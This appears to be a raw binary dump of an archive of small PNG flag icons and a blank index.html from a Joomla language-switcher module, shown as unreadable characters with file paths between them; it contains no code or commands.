�ۮ�OK]�O�1�ޮ��uv��jn�)��s�����%'��?��<��3_l��̦x�P8��OsCm�b�T����0dϿ~���`,��^��K��ǖo^Ńk��R)��p�������/��O��O}�9��a�B�ݳ�������j�����K|-N��?A(���d�ⳟ��m����k?�3IEND�B`�mod_gtranslate/tmpl/lang/32/mi.png000060400000002344150746170550013014 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FjIDATx��m�TU���;3w'g�em}E3_B"
A#
?�!�C}
�/	����%��H�Ȃ^��],�
4

	_v�6u�uwݷ�s���s�0��;�ئ_|�pg�=��?���s�1�[�8n�
��כ
�V�|d�x�\���B��>�囏��K �w�Ɔ'��i�'��<Ń�<�o�Ʃ�--�&9@ݯg�z�]�M|��'��Kͪ��p]�>twM�au&�a^#=Sg����
M"a!�Ƙ�Y>~�@����ز �}b���X?�F����4K'*V�$����nŁO��HME(R�KÔ4��##!Bإ���O�1@�h}�	�&A^���4���y�,@��iEi�UX��6mk��7�Y.M���/�8v�tŌ ��R�<��%�	�sa���1����fH%12F`H&\Apw�s�|�j9ۛ#��G#�t��2q6�5�%B#�l-%]R�Bn	,�Q�@	��GU����y�rqaQb�0,l�"��4|�$Е�|���̝oV]���u)�uS̚^�n� BErԈ�����?t�ї����V0�D��%���8����g����/��Q
f�Y�֔��5ln�eac��fG5
`���8;``ϧ���b{k7h�=`E#�
�<��7Z.0��Gxz�����!�f��=,�1ߏ�F��G�����$��g���#e<����S��O�����1�|,c��a���h;[��g휓���ͩ�Y>OO�T�0�\X�޶�?����KI���R��x�ܹ[N�UBu}�I&�DQLmm��0����.�@Q�����::^_�H����ڼ��{�YV��e�I$l��j��0VıA)sgY�
��4JU0��U�#���)c�1h=�ݑ�cY5�T�������PY2�����i���޾F�c��,i�`��ŀ&�I�h�d��'��Wq�� �����>$��Me�^�,k�9fN�H��P4B�q�ߡ�b��sh��|U�"Jl;Wv>n�c���Gs� Y�~!
��
� �q�Q�5�R	�<ox<�f5�3�4`)0�&��}����M�)^of��'n��j�XkT�k�IEND�B`�mod_gtranslate/tmpl/lang/32/mn.png000060400000001604150746170550013017 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F
IDATx�엿�U�?gf��K��^��+�@�BD-�t���)�BH�Y������ų��`��	��`�o�ٝ_��sR���$o�"�^��v���|ϝ3bf�H8��@�Ȼ�(G��yx�%�77�Dy��툭'��oe��$��
�\<3�����'�n�4
�lƲ,E�~��׮˚�2�j듧k�"��'�݁��3�be�Uuk�$`��9vj/-��3d��Ч�\ ��ѪD���{ʽl�.hT
�~[���cE���a��"�a�za�>`����
�:���;��_n����@����b�-��Ӡ
`+tP�F�(6bX��V-вBr�?r�B�� ���:u�H;�*g�w]��Jo���#`���W��j_#�
�{���ߵ�|tuL��e��_��t��=�����`�����C��_aVvaJ"S0��@��������O���?L(~N8}�u��y����F��ɺ�w��}�s�rM���Nx�h�kFm�AE����Vh�$�=կ��K
������I7���^���1Q�L�����y/���f��U���U�)�
�.�
��֙���E�N�	���^J��w�򧬋��ԑC���U��l�"_���xu�?GhE�������E�.Mm
�g����U�"B2o�;��5�C~��
 ���l6h4:ᖭ[��N%A�s�����O�ߥ�&�t�Q�x.o>N����X��c�W|IEND�B`�mod_gtranslate/tmpl/lang/32/tr.png000060400000001633150746170550013034 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F!IDATx��1oI�����8�����IC�ET(-��8���@�P�#�!E'�A�� Q h��"R $����l��ݝ�G��fח �6
O���v�f��ͬ���ؾ(�J�>O3@���?����Jq�I��8�;u*��W��Pk� �6�0HK��~8M�������9�*D@�@k��Cz�\��^����v��n7��/�i��t��Z��xG�b}������[��S� ����fg�pw�{A��S8r�^���ѿ�G$S[E�v�t���9�W�����£WWpk5�r��{����@��ƶۉ���L\�@�?ٸq33�}�v[�� ID#�k!�E�n#}�}�?�<Dh��Y��4U�K嗟�X���	?z���Ȱ�$5J'O�ɱ�I�z9�2��a�N�����g�]���oƢ'����2�Wk1[[�]u��G��
0�����ЭT�OC�5�Z�'O���ד��-z�w��z�ճg(����i��sD�X��ZX���q��|��!��n�^����H��d��u,���~�������S�o�MO'�ݩ�c��]�����d+����{�y�.b-�׮Qn4(7�++��5��E>��'J��B���vikݻG�9cssff��O��S��c�|�] 0�|��5\Z"\Z��ϣ�����>�s�
e�*G��£�xnic��f�w¾ڌǁ�����K�'��<-Z����^|��Ԇ�IEND�B`�mod_gtranslate/tmpl/lang/32/en-us.png000060400000001476150746170550013443 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��?hq�?�D���-�$`������"R�P�:��ڦE��(�48�K�3��A!� �;�RC[-X���m���=��^RQ{�^<���o���w�~�����b��?
p�2:i&P��Ǐ��vo�ww�m��.OFw4�8����or��3۸�<��0##/���I�s�$���_���V�J�Ѐ/��Zo%�V��sWc=��I�@)EOO;��S�}$�O�[���8��A��C�hy���s?�@7�8���R�?�����F7����V%{�$�`p��d���ph�1���Ƈ���C�]뢷��L��@��65�R*Y��^���y9v,-���-�+�IO�%�sD�������)��m.b=W����ł%��+n�>C��M��>NG2d��D"�qd-��wv�B|��c�;�1���TNA(4$��e����`0�a[� &d|���՝��1{8��}���m�5 \�/-�0�vC�k�۟��_ǁ�/�5 l�f��r�Ϭ���v7{����1L��;��܁��cM�2
DQ��mB�ŕ��uS�(Ӱߏ���`eejkW	L�=L�׋,�8#Am
˥���JU��9
��B���hhhpT���hl\%�.�Bc��Qs_�*`�~��2�(�L
��:������_F'�,j�/��M�-�	k��9IEND�B`�mod_gtranslate/tmpl/lang/32/ny.png000060400000001501150746170550013027 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���nE��ݻ�-�Zv�XJ�@�
�,��\�0y�\s�;pC����dE�ew'�3�]�a'������/�Kk�k�?U}U]-f�m���<�ӬCJ�LOOO_{��'"|��,U��+M��"���9����Q�s���\��=�,x�
s�05e�9��󭃗9s�������R��*f���+<���hf*��C�̸ș�L9ϗ!�f^�a`�H�Ȁ�����	�JY��V�^�"��_S�ܔ���	�?s�I�d%��Fc.�Œ����1F@���,)�r�xO��Gc^Ă�bͣ�)�u�&��>A��/�"��Sdn��s<S�u ��r��(�-��oš`��c!o��V�J3w��ge�Cp�(z��'��.��bq	�˃�e���'�݈�ϷX�2KDލ����c��a���{S�� EtQ`�$4[���ڧ�v�*��^�b�N,%t��֥����C���Vb��2K�)��.���ȗ)�EC��I@c�r����mCo۾�N�غ�2�[�����m�h=MySo��T��bB�:x�b��N|���;�<�~���ϚN�3!8�aTH�I����ʡ&dͩ�	5����+��`j�!d��*��ǻ��Pkd3c>��6��,�G�����"͛`ҬCJ,�����7�y^�IEND�B`�mod_gtranslate/tmpl/lang/32/sw.png000060400000002520150746170550013034 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��ilTU��s�Ӂ�b�%R(�.(��$"
K���Ĉ	�@Dd��E�"�b�%
A���C%hDj�5h�@
mY��ә;3��s�ѡ��Z!��Ͻ79_�����^���n��]�{`��N�� -��jS�>2B�IFr�W�!�m
_|;vI�L��0طo_��B04�ϭ��A*�����u��U�c�.�xM3lX�'O��{�T��t�����xo@�wS�D�5��cR��T��|�AV�]{4�O֠�v�D�Q��A��D�X���@D�t����]A{���%��/7?_,ˋi�x��XNˉ�PER��N���QŹ�6�(.T��u��e�4�����;Q�0�iI6�{�ȸF�M�v�#��F���-o����caBv�?P.����u�8K�d�J��G횕�*�9
��3��@�}�
���V��a� ���|�

��s���w5*��@?���m�xs� ʎ��6nb���z�""cM��nx�B�=tN��;�;\��nQ��e���S3fj�bŲ�TV�i�a+�	@�8���R��#3+Y4�O�BL�Ce�Uw�,(\�	<҆��Q�e�
a�MlG5��P�jDu=���g8�x�I��z�dq����}����*T\��`��#(;�	�04Xs<������c��������R�{���K�>O�~�r�8)	�,̞{��e��QT_�AJ
�y��։�H�QZck��c09��rNQ~"D�D����潲m���0gY.�=
��6��-1'A��QBQ3H��X3�:��b�E��z�ќ����5�?�wa���v4R�
���6�������u�x�cEy�I��yq
l�ʽ��צּ�)�q���
{!�j����v���Dlɜ�Y��1�1[s����r�|R��3����.��m��nXus�8%����~����x�P��ŧ.�cP����l�L���(7�����pu�L��a�N�5�����06�de�po�m��q��F=�2��=eStwd��6��X�Z�Ϩ�1�~��c�uZ�(��Li�%�ht
ͣ��)�Fs�x��cgP�}6�"
c���(���5B|>�?f�`������"�����ut�V�d�t\h��;%6�hr��[�W3<��Nt��k 4D�]!���w�m�จ����;Q (��m}
*�x3IEND�B`�mod_gtranslate/tmpl/lang/32/mg.png000060400000001033150746170550013004 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��;N�@���8	�HH��� �AA�(�
�A\�H�WL���8��pb�U�d۫]ͷ�<v,��&�a�c @�f�uD�W��*;�/�<]8��9�A�=;�g��ǏO� ���f/CD�Y��'��̠q�
jaG1EseDW|3� I��&?�w�h�����l���Q�@���CѸ�����Bxɯy�X�ϋuh\�,��TC5_)�t��)�I���@C�U��ċ��i����@U��k��U���e!��[HIS�+P�U/yKJ�CH��9�1��OPH�]���`�U?"�����Z���f�X[(��U�׈��fPG�ή7�YJ�u�1�Vn�x{��p��knˇ��dMi�Ns�iD��lN7
�3c]�\���IEND�B`�mod_gtranslate/tmpl/lang/32/gu.png000060400000001275150746170550013024 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�mod_gtranslate/tmpl/lang/32/ceb.png000060400000001704150746170550013137 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FJIDATx��OhTG�?3�����U�Gh�	A�-�`���֛ )���E)�*[��*�K@�R̡�4E�� �ƨ(mi!
˒��M��{ofzx/q]b(�Mr�������~3�Z�F�d��9�����i�:��ˍ��#�D��	��������v�nz���:��
������m������Ç�$��M����:��B<���ϩ][?��}�$�]�K�Zرc3}}�x�&SS��nbM��TB����l����6.�db�o'��Q��u��ԙ�8~� CC㌎�A))���d]�1�Q=�C:�2<|!d��)T�+D}��Eo��d��T
I&݆�}@0j'�0>���$��p��U
��Dc��Z?C��=	,�����{��ο�'�y�`
'�iɛ�+�ŹUm	|]����ވ��*���.�n^�+����Ʈ�]u��QJ��
�0y��x�ltv�L���p��/���?� 3�lY��"���}�
�
P�@uE��o1��:��i@�0�р�!�� �8����hLu>��ⱏ	�Dx-��
�'Ƙ(�$zc���&;!�I��/?�L��-X��5NX�A�4��Y�g��p�{�Na+D:
ZӌD`Õb����g�u�$C�R�^	��>�O?��or�L�\��>hS�t8�!�.L�L�o�ʵ1��J�Ka�H]�ꗄ��3���?��l��f�%��jh���K��	��ȗ_lrȗ9����u��>"����5���ilv/��L��M��Ӫ@Y<�n4��OV���L�IEND�B`�mod_gtranslate/tmpl/lang/32/so.png000060400000001475150746170550013034 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��?LQ�oo�SA��VƄ���1�R;5������WK+;�4je�1��P�h�H�@@@8nw��X��ǡ{�9&ټ�7��f��<gfl�l��p@	�N�N�Q��z�f޹S�7�������ç��fWzC�[�HĨ�=��v4(�&m���֛u��U+!�(@w�j$��x�@n5h�#6�e��6�Dm��by%��㻻CԌ�X��+�/�J�qҞ���
��+q{�g@�'JOb[�,#�{���3�ێUI��(�H��` p�#C=�^x>�sjK���B���Gp��D9,!�p�o=��0�C�UfV1 ,x/�c��,����"O�p֊��UK\9=���}�A��p\�pt}�ӷ��B=��s���MY�ƀ׭Ks=^���IΝ��і~}��/�M��a���e�R�e�����L�.s��Xn����<_8��0@�Ђ�Io��r���S�o��2+��?5L�{O&���#^��'�
��U�@@��l�D��&�9W���2�/�qh��F���M "^pA@c���R-٨l3+�KW9,dì�y9�%kYٚ��\��Z���X8�'>�8:� /� :���n4��t�%s,����չ�Tm�`����vt��A�0����]�&؛�����v��
������[P�IEND�B`�mod_gtranslate/tmpl/lang/32/index.html000060400000000054150746170550013672 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_gtranslate/tmpl/lang/32/no.png000060400000001347150746170550013025 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FmIDATx��?kA���3&9$J�
bag#B@��"_���g�l�i��J�,-,bi*�<��۽ݙy�b�ݽ�{����53��潙7o��r�p�r`�`�h�)HC`���׿�q�g����~���3��p�����a�O��l<Z/���7I��
��E���)rx���1y[����r����:���q�czA��X�����Ѩ�:�\��4=��u4B���H� I�h��*�6�F�t���Ρq��L:Ll��4��:�G�[�j��F@��k�Ǎ�Q\�,�P���J48y�HU�ƶ��c���k��ؚ־}��|g%�ڗ�!���w(��Tv77�δn�A��<�8�:a�	z˗�����ƘV���7y>��zfU%�{!�Ν��4E�;�`}o�*��Z�u��wB�ۭB�#Ti����,�Gl-�u(��L�5����x�tok�P���p��6��IN,���'�AޏH^��U�3V�⥪	�H��ϥ4��D3GS�_C�=,-5._�TU5-��!�
�Џ�
V�}��C��~��4O2�
�
<�͹,?~��O�\��������[�;^Y�IEND�B`�mod_gtranslate/tmpl/lang/32/zu.png000060400000002510150746170550013040 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��klTE�3��.�}A��Q���
��EBRTH(�h��D��G|�h$�PK�р0�"_0
P�P(D*�>��ݽ;��a��.M���p��{g�3�9�?g�cwS$wY��R�;)��@�̷K[-�;~�V-�`R}3-U[�n�o�}/Q�?�򤴘1�$
����Gp��0e�6��qn�����g���@���8ʡ=ҁ1`4{~��s�Lf���Ȫ>L�T-�C��q�����mz��!��Il�'�4��8q'�3m�u�h���E��7��}��T������,���FI}��|]��������WZ��"�w�\�v� d^.��"#�-������/+�s�wQ����5�B�ܔ'���/4�$S��r����rA�[R!$���M
�o������eg�3<��g\.�(/'PZ���E�q��s����G_Z�p;���Z��aT�?4�QNO<tg;�������~�ȑD�Q�J����4T~�}<�8��gŢ
J��}s�љ�Lۂ���S�(�0aB}~~>�X�qc�޷�9��_
.5�KPx.Xvo0t�2�B���ĝ8�U?�I�)��0��Pw�﮲����;�t��B�J$�B�O�'m�롼D�����ىR��6
��jKvl�S<�|��i������e�PJ�D2X
$Q��&ɍ�F��Y>��2=�.���+�^�#{�E����.�R���F���z�c����h�Y���C6�;$ӗy��{�F��Q��M�<��CVP��G6��ڬ��݇�$�N[B,ΠP��\O��i�Ò0�ڡb�L�
��c\���‫�\,�|��k�Ŵ嚦�@�ɌeD�&SUQ���s�����(ҒEFFl��$ෑR�n�+e��v��̨�Ԭ�!�6�WU�Q>�Un�a��fʗ~E{G���e���DZ�T e��et*Q��WJ�l�=�%�&o"Z,NNn���D���,|a�O4��D���:�O�'Wk�Q �&K�!�`�cө\Yɩ���K>#����G�N�Ҧ��K� x�ռ6������_��

���d0� � '��J�qF?��+>fP��,^���-�5x�J�t:���<ɬ�3�P��w]es�F���6�3�U��0������7��䤞wR�Sܻ��m����o�ZIEND�B`�mod_gtranslate/tmpl/lang/32/id.png000060400000000752150746170550013004 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FpIDATx�엿N�@�?����JH���@����T�LHT�I�\�l�6M���֋#����vtbf�i	=�	@�0�}L@����oD�/����U
�%I�xz���M>�)0��9�gF3�"@wLEdC�k���vu�x����-�(W�}��<s ��+J�<)��Zq�~���[��r%��	�!����`�[hU�y�-�Q�+�9�>��sl���U�����n��X��=�eXY���؈t�:q�m���i�{��&y�UU��ԛW�;3���#�Ovm�(�P����y�!�T���x{��1lR �*�鴏=����E�ޥ�\�>���\N�Ӿ~P_�M*'��IEND�B`�mod_gtranslate/tmpl/lang/32/de.png000060400000001132150746170550012771 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��Kn�0���d{��H�"��A/a����@�Sh
K-�1]����"@�MfC��#��p(��=�pg{�V��ihK�q��(���c��v�K`m�a��d���Xy�iۖ�ဦs����Hj���a/M�r�Iu2�<=�i�`U���r:������9J��Z��Y��%]��{꺦i�,EQ�TUu�@����@���Ed�_�����&�	>�����U���
��ҧ> �o�x�u�P��#zv����:N���$Ӻq)�7ЀzU�&���-�,{�#�
�X,(֏=@��B�tB7<�U4�UԻ�D2�z�[	��k`���U2{Ռ���6��o:�墁R>��z#��-���;�a��1@��hB���s�P����y^}˼:�I�g/�`2�^BT�y���i� �3���9-�|��&x�ʜ���=N�
�k+��[/IEND�B`�mod_gtranslate/tmpl/lang/32/ja.png000060400000001301150746170550012771 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FGIDATx���kA�?��d�����$zQ[$�"�
���P��A�"�'{����E"�xT���A�B���*TR ��	l�M6ݝ�T�b�Tb��/��̛��f�(!JXD�

�N��N��o)F�R�,�+�tYu���y��J��Xd�[���c���b��O ����e���P(@!��z��#14��2̋�K��թi��/a���"h|�O�!}�i+|��׋��B��xe�x���{[��_N��V��ԗJ���I���=T�n��w�ϞI���o$�HX.R�y��oOk��2�^��L˄Ż�[G@{�TB�0$��rټE�Ԛ��#���f\�����&i%�٬+���p���MF�� 5|���ֺY���}���B�@��5��+fyO3@bW�����" �W��@\zΝ'}�X�05왯T*b��䔼ٶS
*!s*-s�S
*!�zr�޺cl��<��r� �gg�<��{��}:F��:<����Y����n��+@�Z��Š$��q�L�B�5�R���N�
����m��\՛���SXP�Ө	���ߵ���IEND�B`�mod_gtranslate/tmpl/lang/32/st.png000060400000003271150746170550013035 0ustar00�PNG


IHDR  szz�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c" xmpMM:DocumentID="xmp.did:5E15664E909B11E0A855C93F5BA181F6" xmpMM:InstanceID="xmp.iid:5E15664D909B11E0A855C93F5BA181F6" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:73BB28C38B90E0118CC8CC8C2C94B540" stRef:documentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�(�xIDATx��W�nA���Dt���A�Tt������������5R�4Ic
j*�H@�*��J�1�ev9����A�u�a��ݙ�v~�H)�!)L����F�đ}2Տ�~Y��È���_���l,F��Q?ƿՐU��X�.������G��_})�C��S�u�V���B��u 7�r�8�KeH��\��`�!�1XR��e�s
s���n���u&y�k�?$'n�6p�-a� �2ʷL�f3��=�>*|@�)�<�U$�R�p��G���1$�����fK���O1��=;�Js�O�X|��ih�B��7���L.�R
���%�
��73h4�t��^O�;����Q�uݡ�pi0@�V�O�r*�v*�Jd*K:�S
2!����F#h6���� �NkAqۆV��T
��r$97���-��|x�..\�K���^�G��ͩt�M����n`��d„�����,̏�`�J9Gf'aF���AC�@`:%�;*�=��C$:S&@5��TL$�����lu>�!;�b����jj�)������c������h�|�)y|9}h&��-J�IEND�B`�mod_gtranslate/tmpl/lang/32/lb.png000060400000000725150746170550013005 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F[IDATx��1N�@E߬�	�HH�@CG��W�܂K�D驐	Jb;�
��rL�i�Z�5O;�v��h3-G @���3("0x���̹��O�'J�޸�/Gc�a��
eI�LY�RDؖ��l����ya8���G*�9��}�`{��c�W^^�� �V�<'����&�b����ԷH�P%Mg��&P�k�0�Q+&$r�Yqv���� �������)������R%f�O+D�j�l�DD�A��BU�!LM����^���!4A8�E?�����ɇwT�3�
8u&x^�~׫g��t�Ӷ�/4����IEND�B`�mod_gtranslate/tmpl/lang/32/kn.png000060400000001275150746170550013021 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�mod_gtranslate/tmpl/lang/32/ru.png000060400000000747150746170550013042 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FmIDATx��N�0�?g0�BH<7�<G^�'ހ�@�eMlsXG�1&&��2_�����N����ti��m @�cNS`Z����׋�`�aF�NW6؝�@p}s���>ӔeуA��{�D3�e��t1��V5W�i=[��9U� %cRF>ka~K��"Ӓ���f�XU[���D���mU
�2�ƤLD���F��6��nX&q�nD�V	��fy\�ۛ�N �8,f��>�O��Մ/�W���{D	\�L�
�t����'WMMLm��2*d�O\�u&�?6�-I!�Z�A7ے�(f-r��0�+�7j��-�5\�6���2K�'�QjQzԁ8�c��v
�5����g���IEND�B`�mod_gtranslate/tmpl/lang/32/hy.png000060400000001117150746170550013024 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���A���t6q7 ��>�/ >��>�'��Y��IP71�LwW���&3�fOҹl]f(j菪�j���9�NlL�Y��i
������O�T>_���G`!!p��E����o��\R�n�ܶ��0nS����ߎ���R0�ŷ
޴��c���s��N\�B.Dׂ5
�4u�6��7k|��r�ǀi@[��u\�M���7<�X�\�y��>�r1V�Ķ-CP���o�=��U,��7sr�CJ1��D�J7�+�H�C��wb�f�����e��6J�Vg�@����g�ȥ�4��*E
�:ˉ��%Ȋ�NU�0�+w܍�����z�0�W�9��T��d������$��{����`�*x�Z��v@�@�j&��[����f��7d6��{5�_7��蒮<�O*W��Y�;�E��i-������hm7V��IEND�B`�mod_gtranslate/tmpl/lang/32/vi.png000060400000001462150746170550013025 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��=kQ��33;��čA;E�*�����*��^�,{��X�?�N�BT�b%��1������X̮�]w�l3ir`��sw�s��wDU9Ȉ8�8 ��Xgx�H��?67w�k�/©�O��I�x�r���_�4 �Т �Z0��H9N�Td|�4O�wb^�l��Y�s�1�1�T�Ơ%%���^����g�e@!t�$h4������y1���&	87�=�n��J����U:����+���y^�E
H�vA@�Z��
E1��ә)BI��C˫q:�Cz6`>F�=I!�e6|0�j-t:�j�jQ�,\r��0H���\i��;9���h_��$���1����Ρ���g��p9t�A����3�`5�Ue��s�����w`-DѸ\�����~\W��5,]+�:�3~=XD}��
㕕=��x!�/���
2>�m��PM�ޗ9�۱:W
��%���轎齉�߮���3$��N�#Q��麧qβ�p�?�3VoVo�������;apUE+,lX�o.��lP*v���좥ؒJ~��9H��;����̇��^&d���~�\�	�a�(��1�2��}oZsF>��=����@PEj���V Z^�
b�`�բ�(�pXN�|,�	|��7��`�3
�-��
�wţ�)cz�gIEND�B`�mod_gtranslate/tmpl/lang/32/am.png000060400000002050150746170550012776 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��=lE�3�{��Gl��#"�Q����Q�D)B!%5
H�� $h(S �%@ 

+$E�#B
���
��;�|{w�;3��ξst�3͹ɓF���7�o޼�%"�h�X�P����~�"ȝ��â�U�]����c>��J��}s}�{a �i+��&�D!H��@��~h��9t��O[���s�MLd��X_�1I>�q�zS�1Hˀ=�"-#����=C��u�4��瓈m�b	M�Z��h-�S����S�;\ �Zc�kتE�I�S9�2�R�d%����<P���b������m���� ՞ʅ�o|�"��'g70�揫�dny|����U��!`/��]��c����U�W�=Cy�d�L��36��p�@iKq���*��.��y^y_��v��<	"� Qǻf�B>��c�M�su��U�V�&$&b�4�V!�g���D^��-T��0�*́YKQ��r#KJ�yjf�J-�ϋ�ã����Շ����P(D��Ġ��@®��<*�*.MP
��3�2�0Af���>��4k+����Q��QP�q�\g�p�{��N�Kq}�b9���I�?wk5�ܘ�)F�!s�c�^��<$.iѱ8Ӝ����>{���,#�*S�e��<÷�g8q��N֪���ڵ��4��������wX\����؈s�3!��'�>Ӫ��_��HE)�
�^>�,�"A�G� L���X����"0[)�z��񗶹g�Q*�"Ѻ-HP��8���'X���o*a
d$ ��v�J�*מ��&��B�7�'!A��^��2r���@�mk����'#��4x�o��µ��4�L�o��}VJ��QT�VS�0���7��&�6����Uw�G
����
�IEND�B`�mod_gtranslate/tmpl/lang/32/bs.png000060400000002503150746170550013010 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��[lU�����ޅ"Z�J������hAH�ZD�R
&��Cbb�DA􁤠1�@b�%i|���I�Z)6���v�r�vi��V*^���ɜ����3�hJ)dxx��x�@*��p��<��P����u�Y,嗦N���"E�����<�O�o~�j<�ƙo���\����9�LJǰ9�ҩ
��M�S4Ԇ�ʴ���8��j���>  �i
Z:"4�GЀ�Y�T�O��-�'�Sض>L^��c��rP��,��N�!0M�H!I$l�Ԁa
,(��|�,(�jW����)��!Pf
��ؼ�1�u	��r�l'I��k�~���ǵH?	�揮L�.ePw�z� �J�D����bq���5,≓!N�0o�����~g�A��W;(�B؞	��B)�X�BX�����A<n;��n\�h˂�8B��@�=?�{;��β'DBi
���X���%���(�q�����y\��AO�t�3y�|��Y�M���xL	���A�rY`=�,�є�Ril���fʟ.fM�<N���]&v���8�彣YO)�c&��[H�Q�JдT�(�U+�X�z�qxgw��*�l��Ʊ��I($�!����]��-�m��_�t���
� >�l{�ZH�?S�����%�P��|�aU�>�Ğ˱��m;��࢙�m(���m�^o��?RT0�e��%P�t�9�\���� ��p��jח�qC������מ�w0��o��cB8
+e��f*%�rb��i�P��x"ʹP!/6��w 
��m��D�bĂ�i;/[BbY���T-��Ɨ+8�E+�=����4��Q5qӂ���O�0е�,��J��J��[I�R#c�ul�������+��lYE_4
��)��T�fpl�B8�iHR�[�ʅ�so����im�
_GJh??��[���?�����8#�rw\�2c&�h,]2�M��4k!��©OO1�����(���ؖ�=�?i���f��8�v �`S}%��?˦�JZÅ�ܲ��h���H�I�+�д���@�y!+�dw$��fR��se�֕���Oh�6L@��p9;;��W����Ĉ���3��P�W���o��~���]���2�x����'�Q�P���5�%L+
PS]�
X�yI�婕���yY�\�R{��T��a��ps��	�;#~*t�ί�IEND�B`�mod_gtranslate/tmpl/lang/32/fa.png000060400000001251150746170550012771 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F/IDATx��;kTA�g��]��,"�h���o`cea�����O!�`g�wP;��H`-�F�n���DZ�f��%��ɿ��{������r�0�2���j�(,0��ţ����RZ�����^�@ۈp���A��:qo?��o¢�[��ж@3h��͢������-�!r��yJ���k$�%yp�8?�%.z,@��ܗ侬�@j,.�}^�.'sE-�B�-��2�>?��_��
⣣�+G9(�z`ff�hEHd����m���%����Β\��i�N��s�?!�6�����O�w�'O�\]�Ġ;}� � i�f��=y�XL�E���$C��
fj
d��fT���;���ֿP�}���Wh^`o\']\ ��ߕC�P'�����v���;���}-?�M�BP�#@�9�b�d	�E�f�A��!i:����F��'
?�\������bIS�1�1�k��U��Q��25NȱjFf����c����P#��"���]�!*��ڪu$��-pX.�<���z\��:Q�r�8=m��_V��B�IEND�B`�mod_gtranslate/tmpl/lang/32/uk.png000060400000001076150746170550013027 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��n�0@��)+e�w���G�ȇ�O|w�!��$ڒn�Ğq���-�{�\Ǔ�y����sHi8�<�Unk�C<y��ӏ�H]Ӌ���X�F8}u���,~�??{�S��c����`��dΠ������PF��]Q\~[�=}��Q
